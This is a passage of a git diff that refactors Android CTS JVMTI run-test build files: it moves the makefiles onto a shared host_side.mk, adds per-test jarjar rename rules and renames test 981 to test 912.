 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
new file mode 100644
index 0000000..f1a253e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-903/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest903@1
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.mk b/hostsidetests/jvmti/run-tests/test-904/Android.mk
index b814acb..bfbbfa2 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest904HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
index 83f0efc..e248dab 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
new file mode 100644
index 0000000..e2fe6f33
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-904/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest904@1
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.mk b/hostsidetests/jvmti/run-tests/test-905/Android.mk
index 9e58b9b..cd9234a 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest905HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
index 662ea5f..12472e1 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
new file mode 100644
index 0000000..9b0c5aa
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-905/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest905@1
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.mk b/hostsidetests/jvmti/run-tests/test-906/Android.mk
index 553b898..d9105ca 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest906HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
index f383007..783ec20 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
new file mode 100644
index 0000000..9e40985
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-906/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest906@1
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.mk b/hostsidetests/jvmti/run-tests/test-907/Android.mk
index cf79d0b..12c66f2 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest907HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
index 3ecb219..9ecfdd5 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
new file mode 100644
index 0000000..9c6b06f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-907/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest907@1
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.mk b/hostsidetests/jvmti/run-tests/test-908/Android.mk
index 40ef837..2879daf 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest908HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
index c4eea2e..8cbf7db9 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
new file mode 100644
index 0000000..7915bff
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-908/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest908@1
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.mk b/hostsidetests/jvmti/run-tests/test-910/Android.mk
index 8cfe0a5..85334b3 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest910HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
index 108682a..acb8180 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
new file mode 100644
index 0000000..2856a08
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-910/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest910@1
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.mk b/hostsidetests/jvmti/run-tests/test-911/Android.mk
index 0906b99..445fab0 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest911HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
new file mode 100644
index 0000000..676e1dbb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-911/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest911@1
diff --git a/hostsidetests/jvmti/run-tests/test-981/Android.mk b/hostsidetests/jvmti/run-tests/test-912/Android.mk
similarity index 72%
rename from hostsidetests/jvmti/run-tests/test-981/Android.mk
rename to hostsidetests/jvmti/run-tests/test-912/Android.mk
index 4bbc20a..aa69a75 100644
--- a/hostsidetests/jvmti/run-tests/test-981/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.mk
@@ -16,11 +16,6 @@
 
 include $(CLEAR_VARS)
 
-LOCAL_MODULE := CtsJvmtiRunTest981HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_MODULE := CtsJvmtiRunTest912HostTestCases
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
similarity index 75%
rename from hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
rename to hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
index e6351d3..697beb2 100644
--- a/hostsidetests/jvmti/run-tests/test-981/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-912/AndroidTest.xml
@@ -14,14 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS JVMTI test cases">
-    <option name="config-descriptor:metadata" key="component" value="art" />
-    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsJvmtiRunTest981DeviceApp.apk" />
+        <option name="test-file-name" value="CtsJvmtiRunTest912DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_912" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
-        <option name="jar" value="CtsJvmtiRunTest981HostTestCases.jar" />
-        <option name="set-option" value="test-file-name:CtsJvmtiRunTest981DeviceApp.apk" />
-        <option name="set-option" value="package-name:android.jvmti.cts.run_test_981" />
+        <option name="jar" value="CtsJvmtiRunTest912HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest912DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_912" />
     </test>
 </configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
similarity index 95%
rename from hostsidetests/jvmti/run-tests/test-981/app/Android.mk
rename to hostsidetests/jvmti/run-tests/test-912/app/Android.mk
index ec8f7aa..58d4156 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.mk
@@ -28,6 +28,6 @@
 LOCAL_SDK_VERSION := current
 
 # TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest981DeviceApp
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest912DeviceApp
 
 include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
similarity index 90%
rename from hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
rename to hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
index a0e898a..d689692 100644
--- a/hostsidetests/jvmti/run-tests/test-981/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-912/app/AndroidManifest.xml
@@ -16,11 +16,11 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.jvmti.cts.run_test_981">
+    package="android.jvmti.cts.run_test_912">
 
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
-        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="981" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="912" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
@@ -29,7 +29,7 @@
     <instrumentation
         android:name="android.support.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
-        android:targetPackage="android.jvmti.cts.run_test_981" >
+        android:targetPackage="android.jvmti.cts.run_test_912" >
     </instrumentation>
 </manifest>
 
diff --git a/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
new file mode 100644
index 0000000..357b05e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-912/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest912@1
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
index 8075fe2..3c87a22 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
index 03cb328..95b6bce 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
new file mode 100644
index 0000000..735418d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest913@1
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.mk b/hostsidetests/jvmti/run-tests/test-914/Android.mk
index 5f7ddee..7732cb1 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest914HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
index c294d56..3146e3a 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
new file mode 100644
index 0000000..db77ad0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-914/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest914@1
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.mk b/hostsidetests/jvmti/run-tests/test-915/Android.mk
index 2e2e438..384884a 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest915HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
index d712a74..4a52e4c 100644
--- a/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-915/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
new file mode 100644
index 0000000..650ee3c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-915/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest915@1
diff --git a/hostsidetests/jvmti/run-tests/test-917/Android.mk b/hostsidetests/jvmti/run-tests/test-917/Android.mk
index 1e84675..ebf60f5 100644
--- a/hostsidetests/jvmti/run-tests/test-917/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest917HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
index 8b87082..83a6d38 100644
--- a/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-917/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
new file mode 100644
index 0000000..de3b6cc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest917@1
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.mk b/hostsidetests/jvmti/run-tests/test-918/Android.mk
index 5d6f8d0..f6ba563 100644
--- a/hostsidetests/jvmti/run-tests/test-918/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest918HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
index 30f9597..fd9f80f 100644
--- a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
new file mode 100644
index 0000000..0635cae
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest918@1
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.mk b/hostsidetests/jvmti/run-tests/test-919/Android.mk
index 8916d6e..b14ab91 100644
--- a/hostsidetests/jvmti/run-tests/test-919/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest919HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
+include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
index a9b7089..f333322 100644
--- a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
 LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
 LOCAL_MULTILIB := both
diff --git a/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
new file mode 100644
index 0000000..69ffbde
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest919@1
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.mk b/hostsidetests/jvmti/run-tests/test-920/Android.mk
index f92ed94..80ddaa8 100644
--- a/hostsidetests/jvmti/run-tests/test-920/Android.mk
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.mk
@@ -17,10 +17,5 @@
 include $(CLEAR_VARS)
 
 LOCAL_MODULE := CtsJvmtiRunTest920HostTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
-LOCAL_MODULE_TAGS := tests
-LOCAL_COMPATIBILITY_SUITE := cts
 
